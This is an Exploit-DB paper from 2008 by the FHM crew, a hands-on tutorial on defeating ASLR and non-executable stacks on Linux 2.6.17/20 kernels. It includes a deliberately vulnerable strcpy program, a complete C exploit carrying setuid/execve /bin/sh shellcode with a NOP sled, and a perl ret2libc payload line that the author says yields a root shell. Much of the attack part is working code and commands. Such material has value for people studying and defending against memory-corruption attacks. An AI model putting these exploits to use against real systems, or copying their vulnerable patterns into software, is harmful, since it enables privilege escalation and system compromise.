ASLR bypassing method on 2.6.17/20 Linux Kernel

EDB-ID:

13030

CVE:

N/A

Author:

sorrow

Type:

papers

Platform:

Multiple

Published:

2008-09-02

{===============================================================}
{                                                               }
{      ASLR bypassing method on 2.6.17/20 Linux Kernel          }
{      No-executable stack space bypassing method on Linux      }
{                                                               }      
{===============================================================}

A paper by the FHM crew:

http://fhm.noblogs.org


Contact us at:

--------------------------------------------------

sorrow: rawhazard@autistici.org; betat@hotmail.it

--------------------------------------------------
fhm: fhm@autistici.org;

--------------------------------------------------

Rrequirements:
1. Shellcoding
2. C programming
3. Howto bash and gdb works
4. A brain

==[1. ASLR]==



ASLR is a countermeasure based on the randomization of the stack memory.
Say that we have a variable located on the stack. If the kernel 
is compiled with the aslr option active,we can't determine what 
would be his address, beacause it is randomized. Look at this source:



#include <stdio.h>

#include <stdlib.h>



int main (int argc, char *argv[]) {



char *addr;



addr=getenv(argv[1]);

printf("%s is at: %p\n", argv[1], addr);

return 0;

}



The getenv() function returns the address of the enviroment 
variable passed as argument.You can try with PWD or exporting 
a new enviroment address,and you will notice that the returned 
address is never the same. It's beacause of aslr.

But aslr protection can be bypassed. How? Don't stop reading.



If you are using the 2.6.17 version of the linux kernel,
you can exploit the linux-gate shared object to bypass the protection. 
Let's see how.Launching the ldd command we can see the dependencies 
of a program,and we discover that every program has a shared object 
always at the same address.
The object is the mentioned linux-gate:



fhm@local$ ldd /bin/ls

      linux-gate.so.1 => (0xffffe000)

      linux.so.1 => /lib/librt.so.1 (0xb7f95000)

      linx.so.6 => /lib/libc.so.6 (0xb7e75000)

      libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)

      /lib/ld-linux.so.2 (0xb7fb1000)

fhm@local$ ldd /bin/ls

      linux-gate.so.1 => (0xffffe000)

      linux.so.1 => /lib/librt.so.1 (0xb7fa5000)

      linx.so.6 => /lib/libc.so.6 (0xb7e73000)

      libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)

      /lib/ld-linux.so.2 (0xb7f6a000)

fhm@local$ 



What does this mean? It's easy. It means that every program share 
the same istructions located in linux-gate.
Now we'll look for a particular istrunction:

jmp esp. This istrunction make EIP jump to the positione of ESP. 
It's particularly useful because we could place our shellcode in the stack,
and to execute it we can "redirect" the eip to that area of memory.

The hex of jmp esp is ff e4. We can now easily write a program to 
find this pattern, and we'll realize that it's located at 0xffffe777.

Now we can overwrite the return address of a vulnerable function 
with the address 0xffffe777and place the shellode on the stack, 
doing this, the program will jump to the place of memory 
pointed by esp and will exe it. Then it will exe our shellcode. =)

But there is a problem. All this work just under 2.6.17 Linux Kernel. 
If we check for linux-gate address in a update system (2.6.20) 
we'll see that it's randomized:

fhm@local$ ldd /bin/ls
      linux-gate.so.1 =>  (0xb7f78000)
      librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb7f5e000)
      libselinux.so.1 => /lib/libselinux.so.1 (0xb7f45000)
      libacl.so.1 => /lib/libacl.so.1 (0xb7f3d000)
      libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dee000)
      libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7dd6000)
      /lib/ld-linux.so.2 (0xb7f79000)
      libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7dd2000)
      libattr.so.1 => /lib/libattr.so.1 (0xb7dce000)
fhm@local$ ldd /bin/ls
      linux-gate.so.1 =>  (0xb7fd7000)
      librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb7fbd000)
      libselinux.so.1 => /lib/libselinux.so.1 (0xb7fa4000)
      libacl.so.1 => /lib/libacl.so.1 (0xb7f9c000)
      libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e4d000)
      libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7e35000)
      /lib/ld-linux.so.2 (0xb7fd8000)
      libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7e31000)
      libattr.so.1 => /lib/libattr.so.1 (0xb7e2d000)
fhm@local$

So, what now? I think there could be lots of way to solve out 
this problem. One of this could be the following.
The execl() function family includes these functions:

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);

These functions replaces the image of the exisisting process with the one 
of a new process. 
Now we'll use the execl() function in a program and let's see what happen. 
Here the source:

#include <stdio.h>
#include <unistd.h>
int main (int argc, char *argv[]) {
   int var;
   
   printf("Var is at %p\n", &var);
   execl("./try", "try", NULL);
}

The execl() functions call another program called "try", here the source:

#include <stdio.h>
int main (int argc, char *argv[]) {
   char buffer[50];
   
   printf("buffer is at %p\n", &buffer);
   if(argc > 1)
      strcpy(buffer, argv[1]);
   return 1;
}

How you can see, try have a bof vulnerability in the code. 
But with the aslr protection it cant be exploited normally. Anyway, 
compile and launch sometimes the first script. You should have 
a output easy to understand. The execl() function reduces 
randomization and we can focus on a address range. 
The remaining uncertainty can be easily covered by a large nop sled. 
To know exactly how large must be the NOP sled we can use gdb...remember
he is your best friend :). 
An exploit like this could work:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // Standard shellcode
int main(int argc, char *argv[]) {
   unsigned int i, ret, offset;
   char buffer[1000];
   printf("i is at %p\n", &i);
   if(argc > 1) // Set offset.
      offset = atoi(argv[1]);
   ret = (unsigned int) &i - offset + 200; // Set return address.
   printf("ret addr is %p\n", ret);
for(i=0; i < 90; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;
  memset(buffer+84, 0x90, 900); // Build NOP sled.
  memcpy(buffer+900, shellcode, sizeof(shellcode));
  execl("./aslr_demo", "aslr_demo", buffer,  NULL);
}

Sometimes could happen that randomization make exploit fails. Try some more times 
and try some new offset keeping near the specified one.
Of course, you can use try with a bruteforce...damn it's not a smart solution! :P

==[2. No-executable stack]==

Lots of application dont need to execute something in the stack. 
Then how make the stack executable?. 
This countermeasure is really powerful beacuse shellcode cant be pushed in the stack, 
it would be useless. Obviously there are some hacks to bypass this protection. 
One of this is called "ret2libc", 
return to libc; libc is a standard C library that contains lots of basic functions 
like printf() and exit(). System() too.
This function requires just one argument, the name of the program to execute. 
Now idea is the following:
force the target application to return to system() in the libc library
without have to execute something in the stack space. First we have to find
the position of that function in the library, it will be different for each system,
but once found will remain the same until recompile libc. One of the easiest ways
to find out this address is to write a small script that use this function:

int main()
{ system(); }

Then compile this "source" and make it run under gdb. 
Break at main. Then "print system".
You should obtain something like this:

//Run and break at main()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecfd80 <system>
(gdb) q

In this case the address is 0xb7ecfd80. Now we can redirect the execution flow 
of a process to the system() function. But to obtain a shell we have to
pass an argument to the function, /bin/sh maybe?
In the stack the call to ret2libc will be formed by the function address,
the return address and the arguments. The return address is not important 
beacuse system()will open a shell then it wont return to any address while in use. 
Then we can use anything as return addres, the string "ADDR" too. 
We can store the string "/bin/sh" everywhere in memory, for example in a 
enviroment variable. In the end we have to find out the offset to overwrite the return 
address of the victim program, like this(sample code):

#include <string.h>
int main (int argc, char *argv[]) {
   char buffer[5];

   strcpy(buffer, argv[1]);
   return 0;
}

To find the address of the enviroment variable, we can use a script like this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[]){
char *ptr;
char tprg_name [20] = "";
char var[50];

if (argc < 2){
    printf("Usage: %s <enviroment var> [target program name]\n",argv[0]);
}

if (argc > 2){
    strcpy(tprg_name,argv[2]);
}

ptr = getenv(argv[1]); /* Get env var location */
ptr += (strlen(argv[0]) - strlen(tprg_name))*2; /* Adjust for program name */
printf("%s will be at %p\n",argv[1], ptr);
}

Once found the address of the enviroment variable (suppose it's 0xbffffe5b) 
and the offset (gdb?) we can launch the target program, in this way:

fhm@local$ ./target $(perl -e 'print "ABCD"x<offset> . "\x80\xfd\xec\xb7ADDR\x5b\xfe\xff\xbf"')

And you will obtain a root shell.
(If it doesnt work try exporting in the enviroment variable a string like 
"         /bin/sh" (with space) it could work like a NOP sled).

# milw0rm.com [2008-09-02]